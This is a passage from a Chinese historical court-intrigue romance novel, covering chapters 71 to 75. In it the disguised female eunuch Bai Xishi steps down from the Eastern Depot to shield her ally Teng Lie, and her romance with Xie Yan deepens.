不过东厂有与锦衣卫联手的可能,那么西厂便也同样存在这样的风险,白惜时已经想好,如若天子提出西厂经办,她必会同样以“厂卫联合”之辞,劝谏规避邹龙春插手此事。 不过皇帝最后的一句话,让白惜时将已经准备好的说辞悉数咽了回去。 皇帝说的是,“那便交由都察院去办吧。” 都察院,是都察院。 白惜时缓缓闭了闭眼,稍稍卸下了些心理负担,都察院至少会秉公执法,而且在事件查明之前,滕烈亦可少受那牢狱之灾。 直到现在,白惜时才怔然判断,这一关,应当是险险闯过去了。 天子和随侍小太监没有回头,自然也看不见白惜时此刻的细微变化,但滕烈,看见了。 男子视线如常,平移向龙椅之上。 隆冬已至。 迈出大殿的时候,寒风裹挟着枯枝袭卷而来,白惜时却也没那功夫去察觉那一丝一毫的冷意,全神贯注地向前走着,凝神思考后续应对之策,甚至,没有抬头。 她知道,滕烈只先于自己几步之遥,但此刻为了避嫌,亦为了不让那无数双隐藏在暗处的眼睛发现端倪,一个不曾回首,一个更没有朝男子的背影望过去一眼。 直到二人一前一后,走入那条无人的甬巷。 拐弯之际,滕烈的一身飞鱼服被北风吹得猎猎作响,听见动静,白惜时抬起了一双浅眸。 似有所感,男子停步,回过头来。 “对不住。”须臾后,他沉声,向白惜时说了三个字。 起先白惜时甚至没明白他道歉的含义,若真论起来,分明是她对不住滕烈,是白惜时提出的与锦衣卫合作,也是她请滕烈照顾赵岳,如今又将男子拖入内廷争斗的漩涡,她有许多句“对不住”都未曾说出口。 他又何来对不住她? 后来,在滕烈薄唇紧抿却不知如何开口之际,白惜时才恍然反应过来,他应当是在对御前自己所提的二人龃龉道歉。 他当真了? 轻叹口气,白惜时微一摇头,示意当时不过权宜之策,自己完全没把此事放在心上。 得到白惜时如此回复,男子冰封的眉目掠过一抹消融,继而一颔首,高大的身影很快消失于拐角之处。 两个人都明白,甬道只有这么短短的一截,若是停留的久了,势必又会引人前来观探。 之前是她太大意了。 白惜时回到了司礼监当中。 她没有立即找来周子良,如今困局未解,找他过来痛斥一顿又能如何? 眼下最紧要的,是冷静分析当前情势。 这一封弹劾的折子目的有二,一是构陷“厂卫联合”,最理想的结局是将白惜时与滕烈同时拉下马,甚至引起二人反目,在天子面前互咬。 但目前这第一层危机,暂时解除。 那么第二层,便是“厂卫联合”的疑心既已开始产生,就会像一根刺种于皇帝心间,若想彻底打消圣上的疑虑,办法唯有一个——滕烈卸任指挥使,或白惜时卸任东厂厂督。 这两个位子,权势颇盛,若是能拉下其中任意一个,甚至再换上自己之人,对对方势力都是极大的提升。 白惜时相信滕烈也想到这一点。 并且在他将责任揽于己身的时候,便已经替白惜时做了选择。 但滕烈凭什么将指挥使之位拱手相让? 两相比较,白惜时倒是宁愿自己卸任东厂厂督,但眼下难就难在她若是主动提出卸任,会让天子很容易联想到此举是为了保全滕烈,如此,又反向证明了二人交情匪浅,坐实“厂卫联合”之嫌。 难办! 坐于内堂的案几前,白惜时一坐就这么坐到了天黑,待解衍进门之时,看到的就是对方一脸凝重之态。 几步走到近前,解衍耐心询问发生了何事,白惜时亦没有避讳,将今日勤政殿之局如实相告。 得知白惜时眼下一大半的忧虑来自对滕烈的歉疚,解衍唇角逐渐绷直,静坐于一旁,良久没有说话。 待兀自将那股复杂的情绪按下,解衍才抬眼,问了白惜时一个问题,“掌印可有接任东厂厂督的合适人选?” 白惜时:“有。” 确实,解衍很懂她,白惜时即便卸任也不会想让隐藏在暗处的敌人得逞,她本就忙不过来,也有过将东厂交给别人的打算。 她曾考虑过千闵,但眼下千闵、元盛均与锦衣卫交好,不是合适人选。 不过除此之外,确实还有一人,那是爷爷张茂林留给她的人。 解衍得此答复,手指轻点桌面,“若破此局,或可从贵妃身上入手。” “贵妃?” 解衍看向白惜时,“掌印失势与滕烈失势,掌印认为,贵妃更希望看到哪一个结果?” 闻言站了起来,白惜时确认道:“你的意思是,让我主动给贵妃提供一个不大不小的把柄,她得知后必定会找人来弹劾我?” “继而我卸任东厂,天子疑虑打消,便也不会再揪着弹劾之事不放,自然而然便也保全了滕烈的指挥使之位?” 解衍颔首:“掌印认为是否可行?” 沉吟片刻,白惜时眸中很快升起一道亮光,继而用力拍了一把解衍的肩膀,看向对方:“可。” 第72章 第72章 几日之后,关于白惜时任东厂厂督期间飞扬跋扈、不按法度行事的折子开始出现在朝野,天子看到后未置可否,只将那折子重新合上,摆在桌角。 天子不知道白惜时任东厂厂督之时的嚣张吗? 多少有所耳闻,不过有时候天子并不排斥这种嚣张,这种嚣张的前提是,白惜时的忠心和差事完成的漂亮,东厂只听令于天子一人,本就是超脱法度之外的一种存在。 天子重情义,也多疑,厂卫勾结是他不希望看到的,即便那日将二人同时叫到面前,打消了部分疑虑,但滕烈也确实有接近白惜时之意,兼之顾虑一旦产生便很难消弭,二人比较起来,天子显然更偏袒从微时一起扶持走过来的白惜时,因而也更倾向于将滕烈调离。 滕烈亦有大用,未必就一定要在锦衣卫的位置上停留一辈子。 但近来朝堂和后宫似乎都察觉到了他有调整锦衣卫指挥使的意向,一夜之间,明里暗里推荐接任之人无数,这也隐隐引起帝王的反感和另一层疑虑,那便是那封弹劾滕烈的折子,是否就是冲着锦衣卫指挥使的位置而来? 与此同时传奉官被取消,俞氏的官职也多数被取缔,贵妃与天子之间的隔阂也越大越大,心爱之人日日以泪洗面,亦叫皇帝头疼心烦。 天子也是人,也有偏爱之人。 皇后再端庄明理,怡妃再美丽温柔,仍敌不过贵妃于天子心中的地位。 贵妃不喜白惜时,天子自然也是知晓的,并且言语中多是诋毁其利欲熏心、忘恩负义之言。 就在这个时候,都察院的调查结果也同样呈到了皇帝案前,经查弹劾滕烈的罪名皆不属实。 皇帝一个人于勤政内坐了片刻,他有意安抚贵妃,亦不欲让人觊觎左右他对官员的任免,半晌之后,天子一挥手,命人召来了白惜时…… 从勤政殿内出来之后,白惜时连日来的紧绷总算松懈下来一些,天子方才与她说的,是欲让她从今往后专注内廷事务,东厂便交由其他人去打理。 这正是白惜时预估到的结果,但令她没预估到的是,天子还询问了她对接任之人的意见。 白惜时并没有说出心目之中的预设人选,她知道皇帝问归问,却并不喜欢旁人替他做决断,贸然说出反而弄巧成拙,因而只在皇帝提出两个人的名字之时,白惜时直接给予了否定。 一个是擅长逢迎拍马但能力有限之人,一个则是太后的亲信太监,白惜时以其不善稽查,好生事端为由,建议另选他人。 因为白惜时隐隐察觉,皇后之所以如同变了一个人,背后应当是有人给她出谋划策,而那个人很有可能就是太后。 听闻二人近来对怡妃也极为关照,日日盼着她腹中的孩儿平安落地,不知后续又是作何打算。 离开了勤政殿之后,白惜时没有立即回司礼监,而是绕了一个圈,于内廷的后湖旁“偶遇”了一个人。 与那人擦身而过之际,白惜时丢下一句没头没尾的话,“做好换个地方的准备。” 曾江敛目:“是,掌印。” 三日之后,天子下令,调御马监曾江任东厂厂督,东厂元盛为御马监掌事。 曾江,就是爷爷张茂林留给白惜时的人,张茂林对此人有救命提携之恩,在御马监王焕全下台被捕之后,便是由曾江接任。 那日在勤政殿皇帝提出的几个人选中,除了白惜时否定的两个,剩下的千闵、元盛皇帝出于“厂卫联合”亦不会任用,那么便只剩曾江和一位俞贵妃的亲信太监。 但西厂与贵妃的关系天子不是不知,即便再宠爱一个女子,皇帝亦不会让贵妃与东、西厂同时有牵扯。说到底,厂卫只能听命于天子。 因而,最后剩下的人选便只有曾江。 元盛,倒是意外之喜。 得知此结果后,白惜时并未表现出一切尚在掌握的得意,曾江是一步暗棋,她暂时还不想暴露。 唯有路过周子良面前时,白惜时停步,不冷不热向对方投过去一暼,抬手,一指自己的眼睛。 关注之意尽显。 周子良佯作不知何事,向白惜时低了低头。 见此情状,白惜时略一扬唇,很好,她就喜欢不简单的对手。 皇后的目的,白惜时眼下想来应当是想挑起她与贵妃之间的争端,二人都是陪同天子从废院走出之人,白惜时亦颇受天子信任,因而扳倒贵妃的可能性也比旁人要大。 何况让白惜时对付贵妃,可比皇后自己对付贵妃要轻松多了,坐收渔翁之利,何乐而不为? 不过白惜时既然已经有所察觉,便绝不会甘愿做旁人手中的棋子,她卸任东厂厂督,亦是对贵妃的一种安抚和退让。 不可再让矛盾继续升级。 回到司礼监后,将人都清了出去,直到小太监将大门关上,白惜时才于无人的内堂之中舒出一口长气。 滕烈还是锦衣卫指挥使,曾江执掌东厂,御马监又有元盛坐镇,眼下看来,结果倒不算坏。 思及此,白惜时兀自后仰于太师椅上,脑袋放空,一时半会什么都没有再去想,只想体会片刻这难得的宁静无扰。 也总算,暂时告一段落。 傍晚时分,解衍听闻今日圣上的旨意,下值从外头进来的时候,见左右无人,男子从墨色大氅中变戏法似的掏出两瓶桂花清酒,搁在了白惜时的案几前。 “连日紧绷,掌印今日可要放松一下?” 若是平日,白惜时对酒倒是没什么兴趣,但今日算是心中的一块大石头落地,也确实如解衍所说,想要把烦恼通通抛却。 看了眼敞开的大门,白惜时目光朝后一瞥,“去暖阁。” 卸任东厂,众人皆以为她会失落,此刻于内堂之中饮酒虽也可理解为借酒消愁,但此地毕竟文书杂多,也偶有小太监经过,实在不是个适合喝酒松懈的地界。 还是暖阁更为合适。 圆桌旁,看着解衍将几碟小菜并酒杯摆放整齐,白惜时有感而发,叹了一句,“若是此刻千闵、元盛,还有滕烈能一起那便更好了。” 男子正于衣架前脱下厚重的大氅,闻言动作一顿,复又将衣衫挂好,走过来径直坐下,“今日酒带的不够,下次再寻机会。” 白惜时:“我也只是说说,眼下这种局面,叫人过来反倒是给他们添麻烦。” 其实解衍还能在这里,便已经很好。 暖阁之内,地龙正旺。 二人今日特意避开政事,天南地北的瞎聊,白惜时一口饮下手中的桂花酒,将杯盏扣于桌面,在解衍替她重新斟酒的空档,她带着些微醺眯眼望向对面的男子。 “其实咱家一直觉得你有些像黄麻。” 解衍闻言,有些诧异又有些无奈,看向白惜时,“在掌印眼中,我就不能像我自己吗?” 白惜时又强调了一遍,“真的像。” “哪里像?” 解衍实在不知道自己与那小胖狗到底有何共通之处。 被他这么一问,白惜时还真就仔细回想了回想,继而在酒精的作用下,说出了四个字——“听话,好乖。” 年轻的男子听到这个答案,怔愣片刻,继而兀自失笑般回了句,“不乖的时候掌印应当还没机会见到。” “什么?”没听清他刚才的言语,白惜时凑近又问了一遍。 “没什么。”不欲重复,解衍微一停顿很快揭过,继而发现与二人眼下近在咫尺的距离,想了想,顺势前倾,与白惜时就这么面对着面,又问了一句,“那掌印喜欢黄麻吗?” 白惜时不假思索,“当然。” 闻言扬起唇角,解衍就着这个姿势望进白惜时的双眸,好半晌没有说话,但眼睛仿佛无声在问白惜时另一个问题——“我呢?” 四目相对之下,白惜时由起先的不明白到逐渐会意,看懂了便开始移开目光,也莫名牙痒痒,伸手,将那张方才还觉得越看越顺眼的俊脸推向一边。 “咱家还没喝醉。”白惜时觉得自己这一声不甚威风,有点色厉内荏的味道。 “嗯。” 解衍被推开仍一如往常,仿佛方才无事发生,提壶又问了白惜时一句,“掌印可还要再喝两杯?” “不了,你多喝点!” 剩下的时间,便变成了白惜时喝茶,解衍独酌的局面。 因着刚才的那一点暧昧,两个人虽又恢复了先前的相处之道,却怎么也没那般放得开,话亦随之少了许多。 不久之后,解衍起身,开始收拾桌上的杯盘。 本来是稀疏平常的一件事,但不知为何,今日看着男子将衣袖挽至手肘,沉静着一张面容洗碗擦桌子的动作,白惜时竟就这么鬼使神差地看了下去,并且似乎还觉得挺好看,诡异的赏心悦目。 解衍的那种人夫感又来了,他分明才二十岁。 不过转念一想,解衍眼下虽不再是世家大族的探花郎,但仍旧挺拔出众,身材如今历练的也颇为不错,再加之又是御前侍卫,日后想说门合适的亲事应当会很容易。 兼之他性格体贴包容,到时候与夫人的相处自然也会十分和睦。 然而不知为何,一想到解衍将来会常伴另一个女子左右,白惜时又觉得不大舒服。 而这种不舒服一持续便持续到了解衍重新从衣架上取回大氅准备离开。 啧,看来真的是酒精上头了,白惜时在心中轻轻叹了一句。 第73章 第73章 今夜解衍同样准备宿在值房。 夜深冬寒,男子重新披上大氅,带上方才桌面上收拾出来的一应杂物正欲告辞,白惜时见他左后侧的领子并未理好,遂一伸手,示意解衍将脖颈那处整理妥善。 男子见状,低头,视线范围内并未发现有何异样,问了一句,“哪里?” 白惜时:“左侧,后方。” 双手拎着空酒瓶和杂物,解衍又看了一遍,目光仍旧没有探及到那片被压折进去的皮毛,继而睁着一双澄澈的眼,向白惜时又望了回来。 不是什么特别的地方,不知他为何就是看不见,白惜时干脆起身,靠近些又给他指了一遍。 继而见男子仍旧找不着方位,眼看着就要将手中的杂物放下,重新脱下调整,白惜时觉得过于麻烦便没想那么多,索性上前直接伸手将他把那片衣领翻了出来。 翻完又强迫症使然顺手将两边的皮毛顺了顺。 然而做之前没想那么多,做完之后,又觉得这样的举动有些过于亲密。 特别是当此刻二人距离极近,对面之人微微低头,亦有些错愕地望着自己的时候。 …… 草率了。 果断收回手,后退一步,白惜时当作什么都没发生,向男子示意了眼门外,“整理妥当了,走罢。” 但是听完这句话的解衍却没动,视线反而像被地龙烘烤过一半,盯着白惜时一瞬不瞬,继而就在这样的对视下,男子抬腿,缓然上前一步,将二人又拉回到了方才极为接近的距离。 抬眸,睨着他,带着点威胁警告的意味,片刻之后,白惜时又后退了一步。 这一退,是在拉开距离。 在白惜时的人生里,虽然十几岁前过得比较辛苦,但自现在的天子登基之后,她有过退让的次数实在不多,更何况是在面对眼前之人的时候。 因而退了一步便不会再退,白惜时已经想好,解衍若是敢再上前一步,她就将他麻溜地撵出去,臭小子胆大包天! 然而这一退,解衍好像很快明白了什么,继而专注的神色都变得清明,男子没有再上前,敛目微一点头,额前飘落下来的碎发恰好遮挡住了他的半边眉眼。 解衍转身准备离开。 但当对面之人真的止步,白惜时亦没有什么如释重负之感,反而莫名觉得空落落的,她甚至都不知道这种落空感来自何处,人有时候真是种复杂的生物,连她自己都搞不懂自己。 再一仔细分析,应当是解衍这一止步,让她方才准备骂这臭小子的说辞一下子均无用武之地,遗憾的。 对,应当是这样。 白惜时获得了逻辑上的自洽,不过看着解衍向外走的背影,即使逻辑再自洽,白惜时还是不得不承认,此刻心情好像也没多好。 在目送着解衍离开之际,男子走到暖阁门口,又回头望了一眼,发现白惜时亦在看这自己,遂道了一句,“掌印,早些睡。” 白惜时“嗯”了一声,继而状似不经意地问他,“这么晚,卫所的值房留好床位了?” “是,我来之前已与同僚打过招呼。” 闻言没再说什么,白惜时一点头,收回视线,改为走到铜盆边挽起衣袖净手。 既然打过招呼,那便罢了。 她还当他没地方睡觉。 暖阁之内热意融融,然而当踏出司礼监内堂,呼啸的北风便肆无忌惮席卷而来,又是另一番天寒地冻的光景。 深夜的宫中官道空旷,解衍此刻连灯笼都没有提,就这么一步一步朝着卫所走去。 带着一身寒意走进已然准备熄灯就寝的值房,发现解衍回来,一个同僚从床榻上起身,“解兄,这个时辰没回来我还当你已经出宫去了。” 说着那同僚便起身,很快抱着被子回到另一张被水浸湿的床榻之上,“方才不小心将茶水打翻,以为你不回来便借用了一下,来,还给你。” 解衍见此情况,目光一顿,叫停了对方,“不用。” “啊?” “你睡罢。” 说着,男子复又转身,推开了方才刚刚合上的房门。 “解兄,这么晚你要去哪?”见男子要走,那同僚在后头探身问了一句。 然而风声太大,房门又被男子从外头重新合上,解衍并没有听见这一声问话。 “别担心,他估计是去司礼监了。” 见同僚似乎有些过意不去,另一个侍卫出声劝慰道:“解衍和掌印的关系你又不是不知道,在司礼监总能给他腾出个留宿的地方,他既让你睡,你便安心睡便是。” 解衍确实回到了司礼监。 白惜时此时刚沐浴完毕,从盥室走出来的时候便听见小太监敲门在外禀报,说是解大人来了。 闻言裹好束胸,连带着金丝软甲都重新穿戴整齐,再套上寝衣确保无误,白惜时才走过去,抽去暖阁从内扣上的门栓。 “怎么又回来了?”身着一身缎面寝衣,长发被一根绸带松散的绑着,白惜时于门框边望向男子。 没想到白惜时此刻会是这般随性的模样,卸下掌印的装束,整个人反而都在发光。 解衍从来都知道白惜时很漂亮,但平日里有掌印的威势撑着,总是让人有所敬畏,不像现在,柔和了许多,也更加出尘。 解衍移开视线,莫名有些不大好意思再看。 “床榻被同僚占了。”男子低声回了一句。 闻言没什么意外,白惜时让开半步,“进来罢。” “被子还在原来的地方,自己去拿。”一边往里走,一边指向衣柜,见男子熟门熟路将放在罗汉床上的矮几搬走,白惜时转而坐于桌边,给自己倒了杯清水。 在解衍收拾床铺的时候,白惜时也同时发现自己还有件白色裘裤压在罗汉床下方忘记收起,虽不算什么特别隐私之物,但若是被男子拿到交还给自己还是有些尴尬,白惜时遂起身,欲趁他背过身之际,直接取回。 然而好巧不巧,正当她靠近,解衍亦整理完毕恰恰转身,一个站着一个端坐,继而,就这么顺理成章的,男子的脸直接撞进了白惜时的胸膛之上。 …… 意外发生,两个人都有些忪怔,白惜时手指骤然攥紧那条拿回的裘裤,忍着一把将解衍推开的冲动,强撑着站于原地。 冷静,白惜时你要冷静,这种事发生在两个男子之间算不得什么,很正常,不能表现出异样。 然而解衍接下来的一句话还是叫她破了防,白惜时头脑一热、愤而用力,一把就将解衍推倒在床榻之上。 因为他说的是——“掌印,你练得好硬。” 解衍是本能的感叹,概因他撞上之时,整张脸都感受到了那种硬邦邦的扎实之感。 但只有白惜时知道,那不是她练出来的胸肌腹肌,那是金丝甲,金丝甲中孟姑姑帮她填充的软板,若不是有那一层金丝甲,白惜时不敢想象解衍方才撞到的是什么。 然而解衍被白惜时推得毫无防备,继而微微蹙眉,半撑起手肘,仰面望向立于正前方之人。 男子之间互夸对方练得结实是一件稀疏平常之事,掌印为何突然动手? 此刻也发现解衍眼中的疑惑,白惜时反应过来开始警醒,解衍是个聪明之人,方才还是太冲动,不该叫他察觉有异。 遂很快换了一副神色,为让男子打消疑虑,白惜时倾身向前,煞有介事伸出一只胳膊撑在对方的胸膛,继而像是比较般的按了按,评价道:“咱家什么地方不练得比你要硬?” 说完又觉得此话欠妥,不过白惜时没再深思,继而微扬下巴,摆出解衍同自己比起来还是要多加锻炼的睥睨神态。 推倒他,就为了比肌肉? 但不得不承认,白惜时这一招确实管用,至少眼下的解衍,没什么余力去考虑白惜时方才的反常。 概因眼下二人姿势暧昧,男子双肘撑着上半身仰面向上,而白惜时俯身前倾,一只手撑在解衍左侧,一只手抵在对方胸膛,而那松松绑着一瀑青丝的绸带此刻也已脱落,没有束缚的长发便这么飘啊飘啊,悉数垂落于男子的肩胛脖颈。 解衍觉得有些痒,不仅因为长发,亦因那只抵于自己胸膛上的手,仿佛不单单是拂于身前,也同样拂于心头。 因而,一双漆黑的瞳仁也越发专注认真。 眼看解衍虽暂时被自己唬住,但白惜时同样也有些不大自在,特别是被解衍这样盯着亦让她觉得心跳比平日里要快,索性见好就收,遂就着撑住对方的姿势借力起身,继而不作停留、果断转身,白惜时准备就这么直接回房睡觉。 但尚未走出一步,手腕便被人从后头握住了。 低头,白惜时瞥向那只伸向自己的长臂,很有力,也传递过来了对方的温度。 “掌印的发带落下了。” 男子的声音从身后传来,紧接着他便从罗汉床中起身,一扬那条蓝色绸带,白惜时见状,伸手接过,将绸带从解衍的手中取了回来。 不过她取回之后,男子似是挽留般,又帮她于身后拢起那一瀑青丝,继而重新看向白惜时,伸出了手。 四目相对,白惜时盯着解衍看了片刻,才一抬手,将那根绸带又重新拍回对方的掌心。 要回绸带后,解衍帮她将长发像原先一样松散的绑了起来。 “多谢掌印收留。”待做完这一切,男子退开一步,于白惜时身后说了这么一句。 闻言,白惜时微微侧身,眼中带着连自己都没有意识到的探究,反问了一句,“怎么谢?” 因这一句话,二人又是对视了许久没有说话。解衍似在思考,也在把持着让白惜时不会排斥的分寸感。 良久之后,就在白惜时这样的注视下,解衍靠近一步,见对方没有回避,才缓然低头,于她的肩头,轻轻落下一吻。 第74章 第74章 白惜时回到卧房,吹灭蜡烛,人躺在床上,却半晌没有睡意。 于床榻之上翻了几个身后,最后干脆掀开被子一把坐起,将缠绕在里头的束胸解开扔至床尾,白惜时才觉得整个人松快了一些。 不过身体是松快了,心里还是没有。 也不是不松快,就是这种感觉很陌生,也很微妙,她以前没怎么体会过,一时有些不大适应。 如果说十几岁前的白惜时是在为生存奔波,没时间考虑什么感情问题,那么十几岁后,她对魏廷川就是一场漫长的暗恋,心里其实也明白不会有结果,最后事实证明,这场暗恋确实无疾而终。 但她和解衍现在的情况……好像不是那么回事。 白惜时觉得,若是解衍方才但凡那一吻敢落在她的脸上,她绝对毫不犹豫一巴掌就给那小子拍开,但解衍偏偏没有,而是碰到了她的肩头。 而且只是很轻的触碰了一下,继而男子便退开了,转身整理那看起来也没什么地方需要整理的床铺,要不是当时对方气息喷在她的脖颈上让她觉得有些痒,白惜时都怀疑是不是自己的错觉。 以至于,她都没好意思拍他。 毕竟对方只碰了一下肩膀,中间还隔了好几层布料,拍一巴掌未免太大惊小怪了些。 显得她一个掌印多没见过世面。 乌七八糟瞎想了一堆,但不知道为什么,这一吻落在肩膀上,反而比落在脸上甚至更亲密的地方都要叫人心绪不宁。 会有结果吗? 到最后,白惜时问了自己这样一个问题,仔细想想恐怕还是没有,两眼一闭重新躺回床上,白惜时难免有些烦躁,算了,没结果不如睡觉。 一夜睡得都不大安稳,翌日天还未亮,白惜时穿戴好后走出卧房,此时正见解衍将叠好的被子重新归置于柜中,当昨夜的旖旎散去,此刻二人见面同时想到最后那一吻,一时都有些尴尬。 不过白惜时即便尴尬,面上却不会显露,而是当作什么都没发生,兀自走到打好水的铜盆边漱口净脸。 专注于忙着自己的事,半晌没听见动静,最后在喝下男子提前帮她备好的一杯温水时,终于听见后头传来了一声,“掌印,可有何事需要帮忙?” 白惜时的声音淡淡的,面容也很平静,“无事。” 解衍听完一点头,“那属下便去值房了。” 走了?没一句解释没一句说明,就这么走了? 闻言更冷淡的“嗯”了一声,白惜时一口把杯中的温水喝干。 待咽下那杯水,男子也正好离开了暖阁,静谧的空间此刻唯剩自己一人,“啪嗒”一声将杯盏扣回桌面,白惜时静默半晌,突然无端笑了一声。 没头没尾的,臭小子到底什么意思? 白惜时那点子费解,直到早朝之上,注意力才被转移。 今晨辽东传回八百里急报,说是巡抚陈越为冒领军功掩杀百姓充做歼灭敌军人数,激起当地兵变。天子得知后震怒不已,欲立即派人前往平定,并将陈越押解回京问罪。 但在派谁去这个问题上朝堂争论不下,最后天子命内阁会兵部一起商议此事,白惜时随堂听政。 讨论的几个人员之中,滕烈亦在其列,他为锦衣卫指挥使,应变和领军能力皆属上乘,倒是有不少朝臣都举荐由他前往。 除此之外,西厂邹龙春得到消息,竟也递了折子自请前往平定辽东之乱。 需知此次虽名为平定,面对的却不是十恶不赦的匪徒,百姓和士兵是因为将领滥杀无辜揭竿而起,只要能平民愤,安抚情绪,未必就要真的动刀动枪。 所以这一趟应当算是件好差事,危险性不高,但功绩却不小,在当地百姓中亦可树立威望。想必西厂也是看中这一点,才愿意自请前往。 不过邹龙春的性格,在白惜时看来,好生事端,并不是个合适的人选。 内阁并兵部商议到最后,推举上来的人选有三,天子过听罢后点了点头,挥手叫朝臣们散了,于勤政殿内看着三个名字,兀自沉吟。 白惜时伴于一旁,亦没有多话。 朝臣们推举上来的第一个,是兵部刘尚书,也就是刘晩禾的父亲,兵部尚书亲自到场对士兵和百姓来说都是一种莫大的安抚。 但天子看完却叹了一声,“刘爱卿腿疾严重,恐受不了辽东严寒。” 继而看向下一个,滕烈。 “滕烈性子冷,若是领兵打仗朕倒是信得过,不过此次出兵还是当以安抚为主,滕烈生人勿近之感太重。” 说到这,天子突然转头看了眼白惜时,“其实若是让你与滕烈同去,朕倒是还放心些。” 一个沉稳有度一个机敏变通,确实极为匹配。 然而听到这,白惜时没有立即接话,脊背绷直,不知道皇帝是真的有感而发,还是仍存着试探之心。 “圣上说笑了。” 白惜时其实觉得综合考虑名单中的三人,确实滕烈最为合适,他人虽冷冽,却也有威严,能服众。但有些话白惜时现在已经没办法对皇帝说,说了,反而帮不了滕烈,倒有可能给他带来祸患。 不过天子似乎也没在真正等白惜时的答案,看到第三个人名,眉头一皱,此人即便朝臣再推举,但皇帝不喜,便一切作罢。 三人名单看完,皇帝突然又问了白惜时一句,“你觉得邹龙春如何?” 闻言看了眼左右,白惜时顿了片刻,仍是答道:“恐生事端,或有不妥。” 即便她知道说完这句话,贵妃亦有可能会得知是自己否了她的亲信,但事关辽东军民,邹龙春此人确实不合适,白惜时不得不说。 皇帝听完一点头,似也认同,继而又兀自感叹了句,“那便二选其一罢。” 说罢没等白惜时回答,龙椅之上的天子闭了闭眼,“朕再考虑考虑,你也先下去吧。” “是。” 当日下午,皇帝宣兵部尚书刘易、锦衣卫指挥使滕烈觐见。 彼时白惜时并不在勤政殿内,后来还是听在里头的小太监提及,刘大人在御前坚持亲赴辽东,而指挥使只答复一切由皇帝定夺,最后在兵书尚书的一再争取下,天子最终选定由刘易前往辽东平定兵变。 这么好的机会,滕烈为何不为自己争取?白惜时想不明白,若是以往,她或许还会问上一问,但现在,罢了。 宣布完旨意后,白惜时路过内学堂与小锁、赵岳一起往司礼监回去的路上,恰好迎面撞上了出宫的滕烈并冯有程。 往日见面必要热络打一番招呼的几人,这一次却不能不有所顾忌,冯有程欲言又止,望着白惜时停下了脚步。 白惜时微一颔首,“指挥使、冯副使。” 点头示意过后,她带着两个小徒弟直接走了过去,没有再作逗留。 目送着三人走远,冯有程有些遗憾,转头看向滕烈,“指挥使,你可是有话要对掌印说?既然有,方才为何不叫住他?” 高大的男子没有说话,亦或许是不知道如何开口。 当得知白惜时卸任东厂厂督之时,滕烈直接从椅凳中站了起来,继而踏出北镇抚司去便欲进宫,然而走到一半,又生生停住脚步。 既已成定局,他知眼下去找白惜时也只是徒劳,贸然行事或许还会给对方带来不必要的麻烦。与其如此,不如揪出此次弹劾的始作俑者,彻底解决背后的疑虑。 因而他近来也一直暗中盯着西厂动向,意图顺藤摸瓜,找出是谁在将邹龙春当做那柄借刀杀人的“刀”。 眼下人还没有揪出,又有兵部尚书刘易毛遂自荐,滕烈对赴辽东平反之事自然边没那般执着。 回去的路上,赵岳见到方才白惜时与滕烈的疏离,心里不好受,眼见快到司礼监,他叫住白惜时低头悔恨道:“掌印,都怪我,那日若不是我冲动行事……” “别想太多。” 闻言,白惜时劝慰,“有人想要设计于我,一次不成,还有下次,你的事只是个由头,即便没有他们也会另寻他事。” 厂卫联合并非只可从赵岳之事下手。 伸手又拍了拍赵岳的肩,白惜时安抚一笑,继而抬腿跨进了司礼监的大门。 ……设计掌印吗? 望着白惜时的背影,赵岳凝眉,若有所思。 — 自那日解衍宿在白惜时的暖阁,之后每隔八、九日,男子便会在帮白惜时处理政务时留的晚一些,继而宫门落钥,便顺理成章留了下来。 由于这个频次实在拿捏的精准到位,既不过于频繁,又不会隔得太久,正好卡在白惜时能够接受的范围之内,因而她便也看破不说破,姑且睁一只眼闭一只眼。 不过继上次发现白惜时身板比自己还要硬,解衍似乎受了不小的刺激,也越加发愤图强,好好的一个文臣料子,现下逮着空档就练武锻炼,连在白惜时的暖阁中都不例外,睡前他不仅练,还取经,虚心请教白惜时各项动作要领。 白惜时其实有时候不落忍都想直接告诉他,若欲练得咱家这般金刚不坏之身,一件填充的金丝甲足矣,但为了不暴露身份,只能昧着良心给他指导,指导的他大汗淋漓,指导的他气息不稳,指导的他衣衫湿透,薄薄的一层,紧贴于劲痩的身躯之上…… 男子此刻正于暖阁的地上做着类似于俯卧撑的动作,忽然抬眼望过来,白惜时同步移开视线。 笑话,她是那般容易被男。色所惑之人吗? 唔~不过解衍身材还真是挺不错的。 见白惜时并没有在看自己,解衍索性收腿起身,带着一脸求知欲走向白惜时,“掌印,上肢训练,要如何才能耐力更加持久?” 白惜时略显高深,“负重。” “如何负重,绑沙袋铅块?” “可以。”说着一挥手,白惜时:“不过你若觉得麻烦,还有个简单之法,做方才的动作之时找个同僚坐你背上便是。” 闻言一愣,解衍顿了片刻才确认道:“如此也可?” “嗯。” 然而男子听完答复,却不动了,继而略显迟疑,就这么静默望向白惜时。 被他望的时间久了,白惜时多少也觉得不大自然,毕竟对面之人跟湿。身诱惑似的,多看两眼她都觉得灵魂受到了洗礼。 抬眼,白惜时刻意蹙起眉心,“怎么,不相信咱家的话?” “不是。” “那为何这般一直盯着咱家?” “掌印,可以帮我这个忙吗?” “什么忙?”白惜时没大听懂。 解衍一抿嘴唇,“……负重,的忙。” 第75章 第75章 白惜时拒绝了解衍的提议。 笑话,她一个掌印坐于他背上,这,这成何体统? 何况乎男子此刻衣衫半透,浑身湿漉漉的,让她往哪坐? 坐了她的衣裤不也得湿? 放下茶盏,清了清嗓子,白惜时忽略其实有那么一些想要尝试的想法,此刻显得尤为正派。 “欲速则不达,负重不必急于一时,今日练好了就去把身上擦干,地上也落了不少汗,咱家一会叫人进来打理。” 男子听完,垂下眼睫,眸中集聚的专注一点一点散去,再抬首之时,方才似因运动而显得有些血气方刚的状态很快沉淀下来,拭去额边汗珠,解衍声线平稳道:“掌印不必麻烦,我去罢。” 说完兀自走出去唤来了平日洒扫的小太监进来,解衍拿了一套干净的衣衫,去了外头的盥室。 …… 看着解衍走出去的背影,虽然男子的表情没什么大变化,但那点光消失后,白惜时怎么看怎 么觉得像耷拉下两只耳朵的黄麻,心里总觉的怪怪的。 难道方才她拒绝的太直白了?应该再委婉点? 可她总不好真的坐上去,坐上去又算怎么回事呢? 面对解衍,她既没办法将自己代入成一个真正的男子,平常心处之,但又没办法完全卸下心防,倒不是她不信任解衍,是自己还没有做好接受改变的准备。 第一次发觉自己竟还是个纠结之人,纠结到莫名有些发燥,白惜时又喝了杯凉茶,继而去问正在擦地的小太监。 “你可觉得这暖阁太过闷热?” 那小太监没想到掌印会问他话,即便觉得温度正适宜,仍唯唯诺诺赔笑道:“奴才,奴才也这般觉得。” 唔,原来不是她的问题,是环境使然。 